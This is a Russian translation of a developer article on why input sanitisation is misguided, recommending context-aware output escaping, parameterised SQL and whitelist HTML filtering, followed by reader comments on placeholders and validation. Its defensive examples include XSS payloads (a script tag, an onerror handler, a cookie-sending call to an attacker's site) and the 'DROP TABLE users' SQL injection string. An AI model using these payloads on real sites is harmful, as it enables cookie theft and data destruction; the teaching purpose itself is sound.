Время от времени мы слышим в кругу разработчиков разговоры о “санации пользовательского ввода” с целью предотвращения атак с использованием межсайтового скриптинга. Эта техника, хоть и придумана из лучших побуждений, приводит к ложному чувству безопасности, а иногда и искажает совершенно корректный ввод.

Как происходит межсайтовый скриптинг?

Сайт является уязвимым для атак с использованием межсайтового скриптинга (XSS), если пользователи могут вводить информацию, которую сайт дословно повторяет им в HTML-коде той же или других страниц. Это может вызвать как незначительные проблемы (HTML, который нарушает разметку страницы), так и вполне серьезные (JavaScript, который отправляет файл cookie с учетными данными пользователя на сайт злоумышленника).

Давайте рассмотрим конкретный пример:

  1. NaiveSite позволяет вам ввести свое имя, которое затем выводится без изменений на странице вашего профиля.

  2. Билли Кид вводит свое имя как Billy <script>alert('Hello Bob!')</script>.

  3. Любой, кто посещает страницу профиля Билли, получает некоторый HTML-код, включая неэкранированный тег script, который в числе прочего обрабатывается его браузером.

  4. Если alert() изменить на что-то более вредоносное, например sendCookies('https://billy.com/cookie-monster'), то Билли теперь сможет получить учетные данные ничего не подозревающего посетителя.

Примечание: на практике сделать это не так просто, поскольку файлы cookie с учетными данными обычно помечаются как HttpOnly, что означает, что они недоступны для JavaScript. Но это достаточно примитивный NaiveSite, так что, скорее всего, если разработчики допустили XSS-ошибку, то и о защите cookie они тоже не позаботились.

Почему фильтрация входных данных — не самая лучшая идея

Итак, разработчик узнает о “фильтрации входных данных” или “санации ввода”, поэтому он пишет код для удаления небезопасных HTML-символов <>& из имени перед его сохранением. Дело сделано!

Но с этим есть две проблемы. Например, на NaiveSite может зарегистрироваться пара как Bob & Jane Smith, но код фильтрации удаляет &, и вдруг Боб оказывается сам по себе, со вторым именем Джейн.

Или если фильтр чуть поусерднее и также удаляет ' и", кто-то вроде Билла О’Брайена становится Биллом ОБрайеном. Искажать имена людей - плохая практика.

Этот метод, что более важно, дает ложное чувство безопасности. Что здесь значит “небезопасно”? И в каком контексте? Конечно, <>& являются небезопасными символами в контексте HTML, но как насчет CSS, JSON, SQL или даже shell-скриптов? У них совершенно другой набор небезопасных символов.

Например, NaiveSite может иметь PHP-шаблон, который будет выглядеть следующим образом:

<html>
...
<script>
var name = "<?=$name?>";
</script>

Если злоумышленник укажет свое имя с двойными кавычками, например "; badFunc(); ", то он сможет запускать произвольный JavaScript на любых страницах NaiveSite, отображающих имя пользователя (к которым, если вы залогинились, вероятно, относятся все страницы).

Еще одним хорошим примером такого рода проблем является SQL-инъекция - атака, тесно связанная с межсайтовым скриптингом. NaiveSite работает на базе MySQL и находит пользователей следующим образом:

$query = "SELECT * FROM users WHERE name = '{$name}'"

Если мальчик по имени Robert'); DROP TABLE users; решит посетить ваш сайт, то вся база данных пользователей NaiveSite будет удалена в мгновение ока. Упс!

Между прочим, мать в комиксе xkcd говорит: “А я надеюсь, что вы научитесь санировать данные перед вводом в базу данных”. Это несколько сбивает с толку, но я не буду так уж строг к Рэндаллу и предположу, что он имел в виду “экранировать параметры вашей базы данных”.

Короче говоря, нет смысла отсеивать “опасные символы”, потому что некоторые символы опасны в одном контексте и ​​совершенно безопасны в другом.

Вместо этого экранируйте ваш вывод

Единственный код, который знает, какие символы опасны, — это сам код, который выводится в заданном контексте.

Таким образом, лучший подход состоит в том, чтобы дословно сохранить любое имя, которое вводит пользователь, а затем использовать HTML-экранирование системы шаблонизации при выводе HTML или правильно экранировать JSON при выводе JSON и JavaScript.

И, конечно же, используйте функции параметризованных запросов вашего SQL-движка, чтобы он правильно экранировал переменные при построении SQL:

$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);

Иногда это называют “контекстным экранированием”. Если вам доведется использовать пакет Go html/template, то в нем вы получите автоматическое контекстное экранирование для HTML, CSS и JavaScript прямо из коробки. Большинство других систем шаблонизации обеспечивают автоматическое экранирование хотя бы HTML, как например шаблоны React, Jinja2 и Rails.

Но что, если вам нужны необработанные входные данные?

Давайте рассмотрим более интересную ситуацию — когда вашему приложению нужно позволять пользователю вводить HTML или Markdown для дальнейшего отображения. В этом случае вы не можете прибегнуть к экранированию при рендеринге вывода, потому что вся суть заключается в том, чтобы позволить пользователям добавлять ссылки, изображения, заголовки и т. д.

Поэтому вам нужно использовать другой подход. Если вы используете Markdown, вы можете:

  1. Разрешить пользователю вводить только чистый Markdown и преобразовывать его в HTML при рендеринге (многие Markdown-библиотеки по умолчанию разрешают использование сырого HTML; обязательно отключите эту возможность). Это наиболее безопасный вариант, но и более рестриктивный.

  2. Разрешить пользователю использовать HTML в Markdown, но только определенный список (вайтлист) разрешенных тегов и атрибутов, таких как <а href="..."> и <img src="...">. Например, Stack Exchange и GitHub придерживаются этого второго подхода.

Если вы не используете Markdown, но хотите, чтобы ваши пользователи могли напрямую вводить HTML, то для вас остается доступным только второй вариант — вы должны реализовать фильтр на основе вайтлиста. Сделать это правильно труднее, чем вы думаете (например, <img src="x" onerror="badFunc()">), поэтому обязательно используйте хорошо проверенную с точки зрения безопасности библиотеку как, например, DOMPurify.

Поэтому в тех случаях, когда вам нужно “транслировать” необработанный пользовательский ввод, тщательно фильтруйте ввод на основе ограничительного вайтлиста и сохраняйте результат в базе данных. Когда настанет время вывести его, выведите его как сохранили без какого-либо экранирования.

Параллелью с SQL-инъекциями может быть ситуация, когда вы создаете инструмент для построения диаграмм данных, который позволяет пользователям вводить произвольные SQL-запросы. Возможно, вы захотите разрешить им вводить SELECT-запросы, но не запросы модификации данных. В этих случаях вам лучше всего использовать правильный парсер SQL (как этот), чтобы убедиться, что они правильно формируют SELECT-запросы — но сделать это правильно не так уж и просто, поэтому обязательно делайте проверку безопасности.

Как насчет валидации?

Санация ввода обычно плохая идея, но вот валидация входных данных это хорошо.

Например, когда вы парсите поля формы ввода, и отлавливаете числовое поле, которое не является числом, адрес электронной почты без @ или имеете раскрывающийся список “Статус публикации”, который может быть только чем-либо из “черновик”, “опубликовано”, или “в архиве”, который затем вы во что бы то ни стало проверяете и возвращаете ошибку, если он невалиден.

Хорошая проверка веб-формы указывает на ошибки по мере ввода, чтобы пользователь точно знал, что нужно исправить:

Вы должны выполнять валидацию хотя бы на бэкенде, иначе злоумышленник может обойти валидацию фронтенда и сделать POST-запрос с вредоносными данными на вашу конечную точку напрямую. Кроме того, вы также можете выполнить раннюю проверку во фронтенде, чтобы отображать ошибки в режиме реального времени, без необходимости обращения к серверу.

Что еще можно почитать по теме

На OWASP есть две прекрасных шпаргалки Cross Site Scripting Prevention и SQL Injection Prevention, которые содержат много дополнительной информации о экранировании.

Также есть ответ на StackOverflow на вопрос “How can I sanitize user input with PHP?” с некоторой PHP-спецификой, но я нашел его достаточно лаконичным и полезным. Он ссылается на страницу на PHP magic quotes, которые были в целом плохой идеей и фактически были удалены в PHP 5.4 — обсуждение там очень похоже на то, что я написал выше.

Важно! Под спойлером перевод оригинального текста от автора статьи

Если у вас есть какие-либо отзывы об этой статье, пожалуйста, свяжитесь с нами! Или почитайте комментарии на Hacker News  и сабреддите programming.

Я был бы рад, если бы вы спонсировали меня на GitHub – это будет мотивировать меня работать над моими проектами с открытым исходным кодом и писать больше хорошего контента. Спасибо!


Выражаем благодарность @FanatPHP, за рекомендацию данной статьи к переводу.

Также в преддверии старта курса PHP Developer. Professional, делимся с вами записью открытых уроков курса. Узнать подробнее о курсе и посмотреть открытые уроки можно по ссылкам ниже.

Комментарии (22)


  1. vkni
    25.01.2023 20:46
    +1

    Вообще, занятно: получается, что проблема во всех этих инъекциях из-за того, что мы передаём код на языке SQL в виде строки, а не в виде AST. Если, скажем, формировать запрос в виде:

    request = Select
                [AllColumns] -- *
                Just (EqExpr (Var "name")
                             (StrLiteral "Robert'); DROP TABLE users;"))
                Nothing -- order by

    и инжектировать прямо в движок базы данных, минуя парсер базы данных, то эти SQL инъекции автоматом станут безопасны.


    1. miksir
      26.01.2023 01:45
      +3

      Именно это и делают плейсхолдеры, когда prepared statements поддерживаются на уровне базы


      1. vkni
        26.01.2023 07:19

        Я не сомневался, что идею передачи AST в базу данных уже кто-то реализовал. Но, как обычно, назвал своим личным термином.

        Но я к тому, что надо бы S-expression ввести в качестве универсального формата общения разных современных ЯВУ. И передавать, разумеется, не в строковом, а бинарном виде. А сейчас всё делается через C.


        1. FanatPHP
          26.01.2023 07:36

          Все-таки, подготовленные выражения — это не совсем AST. Или даже совсем не. Это именно что плейсхолдеры, переменные только для данных.


        1. michael_v89
          26.01.2023 22:20

          надо бы S-expression ввести в качестве универсального формата общения разных современных ЯВУ. И передавать, разумеется, не в строковом, а бинарном виде.

          А какая, собственно, разница? Вам все равно надо как-то в этот массив байт подставить значение, введенное пользователем.


          $name= $request->get('name');

          Вот есть у вас переменная с нужным значением, а дальше что? Тут проблема не в том, AST это или нет, а в том, что в него подставляются (конкатенируются) данные, которые пришли извне. База все равно будет его как-то интерпретировать и выполнять, хоть с парсингом, хоть без. А именованные переменные это такой механизм протокола обмена, что база знает, что в этом месте пакета данных лежат только данные SQL-запроса, и их не надо выполнять как код.


      1. FanatPHP
        26.01.2023 07:31

        Ну не совсем. Это довольно урезанный функционал. Плейсхолдер может заменить только data literal — строковый или числовой. Все остальные части запроса идут как есть


      1. Tatikoma
        26.01.2023 10:45
        +1

        Раздельная передача запроса и данных не обязательно использует prepared statements. Плейсхолдеры могут работать и без prepared statements. Например pg_query_params так работает.


        1. FanatPHP
          26.01.2023 11:13

          pg_query_params — это просто обертка :)
          Хелпер. Синтаксический сахар.
          Но внутри у нее тот же самый подготовленный запрос :)


          1. Tatikoma
            26.01.2023 11:32
            +1

            Нет, под капотом вызов PQexecParams. Подготовленный запрос при этом не используется.


            1. Tatikoma
              26.01.2023 11:38
              +1

              1. FanatPHP
                26.01.2023 11:52
                +1

                Да прочитал я уже в документации. Да, формально PQexecParams — это не подготовленный запрос. Надо взять себе за правило использовать слово параметризованный, чтобы не становиться объектом таких придирок.


              1. FanatPHP
                26.01.2023 14:34
                +1

                Я извиняюсь за обиженный тон в предыдущем комментарии. Вы совершенно правы, формулировки должны быть точными. Даже если с точки зрения конечного пользователя разницы и нет. Надо было с самого начала говорить про параметризованные запросы, чтобы разночтений не возникало.


    1. FanatPHP
      26.01.2023 07:38

      Главное достоинство SQL, позволяющее ему быть на коне уже десятки лет, когда почти все современные ему языки уже канули в лету — это лаконичность и читабельность. которые такой отправкой будут полностью уничтожены.


      Но некоторой альтернативой являются различные QueryBuilders


  1. Homiakin
    25.01.2023 21:26
    +1

    В данный момент изучаю Express, по курсу вводят работу с express-validator. Там и валидация и escape() для тела входящего запроса. Это достаточная мера предосторожности для работы с экспресс сервером и нереляционной базой вроде монго? Для SQL базы нужно поверх этого еще sql валидатор использовать?

    PS В изучаемом мной материале валидация данных и на стороне клиента и на сервере предполагается обязательной. Был удивлен, что в статье это представляется опцией.


    1. Ndochp
      25.01.2023 23:33
      +4

      Вы же читали статьи про правильную валидацию почты? Ну или хотя бы уверены, что используемая вами библиотека четко проверяет все варианты из RFC 6854 типа Pete(A nice \) chap) <pete(his account)@silly.test(his host)>


      1. fk0
        26.01.2023 01:04
        +4

        Поубивать бы таких валидаторов, которые не позволяют user+anything@host.com... По +anything потом прекрасно понятно от кого повалил спам. Но часто валидаторы в ступоре от плюса.


        1. everyonesdesign
          27.01.2023 10:47
          +1

          Иногда плюс запрещают специально, чтобы не было нескольких аккаунтов на один емейл.


          1. lo0p3r
            28.01.2023 10:21

            В этом, по сути, нет смысла. Если мне очень надо, я просто заведу второе мыло. Просто мне станет чуть-чуть неудобнее. Саму проблему (несколько аккаунтов у одного человека) это не решает. Ну разве что если цель - сделать ведение мультиаккаунтов неудобным.


    1. FanatPHP
      26.01.2023 08:28
      +1

      Очень хороший вопрос.


      Про escape()
      Ну вот это как раз та самая глупость, о которой и говорится в статье. Это те грабли, по которым все РНР фреймворки уже прошли, но Express зачем-то решил наступить тоже.


      В статье прямо говорится, что escape() для тела входящего запроса делать не следует. Именно потому, что ни к с экспресс серверу, ни к базе вроде монго, ни к SQL эта функция никакого отношения не имеет. Она нужна только при выводе данных в HTML контекст. А на вводе ей делать нечего.


      1. Homiakin
        26.01.2023 14:17
        +1

        Спасибо за развернутые ответы =)


        Про искейп понял. До этого думал, что этот метод переводит спецсимволы в юникод, но перечитал статью на MDN и понял, что он их просто вытирает. Там же написано, что эти символы могут быть для cross-site scripting attacks использовано.


        Про базы и необходимую доп санацию понятно объяснили, спасибо. Можно поподробней про плейсхолдеры для SQL запросов? Не очень понятно что имеется ввиду и как работает.


        PS не уверен, что express-validator это часть экспресса, выглядит как сторонняя мидлвара - лежит на npm, доки на отдельном сайте.


        1. FanatPHP
          26.01.2023 14:46
          +1

          Плейсхолдер, это когда SQL запрос не собирается из статичных частей и переменных, а является полностью статичным. При этом на месте подставляемых переменных в запросе стоят знаки вопроса. Т.е. вместо


          'SELECT * FROM persons WHERE PersonId = ' + id

          будет


          'SELECT * FROM persons WHERE PersonId = ?'

          а само значение переменной будет подставлено во время выполнения. А система уже дальше сама обработает переданные переменные как надо, чтобы они не нанесли вреда запросу.


    1. FanatPHP
      26.01.2023 08:55
      +1

      Про валидацию.
      В первую очередь надо понять, что статья не про валидацию вообще. Она она в первую очередь про безопасность. И про логику действий разработчика. А про валидацию — это просто рекомендация. Но, тем не менее, вопрос очень хороший, потому что люди часто путают валидацию с обеспечением безопасности.


      Так вот, к безопасности валидация не имеет никакого отношения. И с этой точки зрения любая валидация опциональна. Хоть клиентская, хоть серверная.


      Валидация — это часть бизнес-логики. И поэтому всегда разная. Это принципиально неформализуемое понятие. Невозможно заранее составить набор правил валидации для любых данных. То есть это такое достаточно неопределенное понятие, используемое для удобства. Это "хорошая" практика, а не обязательная. Безопасность приложения при отсутствии валидации не пострадает.


      Говоря о том, что валидация на клиенте является опцией, автор исходит из логики. Из того простого факта, что клиентская валидация вообще ничего не гарантирует, поскольку ее легко обойти.
      С точки зрения юзабилити — валидация на фронте скорее обязательна, да. Но статья вообще про это. Так понятнее?


      Безопасность же, в отличие от валидации — обязательна.
      И при обеспечении безопасности никакую валидацию использовать нельзя. У безопасности свои собственные правила, никак на валидацию не завязанные.


      В частности, при выводе данных в HTML контекст в них необходимо экранировать управляющие символы HTML.
      При составлении запроса SQL необходимо соблюдать два основных правила:


      1. Все данные должны попадать в запрос строго через плейсхолдеры
      2. любые другие элементы запроса, долбавляющиеся в него динамически, должны фильтроваться с использованием явно прописанного списка допустимых значений.

      Реализация этих двух правил не обязательно должна быть явной, а может скрываться внутри какого-нибудь хелпера, но в конечном итоге составление запроса должно строго им следовать.


      Теперь, я думаю, вы можете самостоятельно ответить на свой вопрос,


      Для SQL базы нужно поверх этого еще sql валидатор использовать?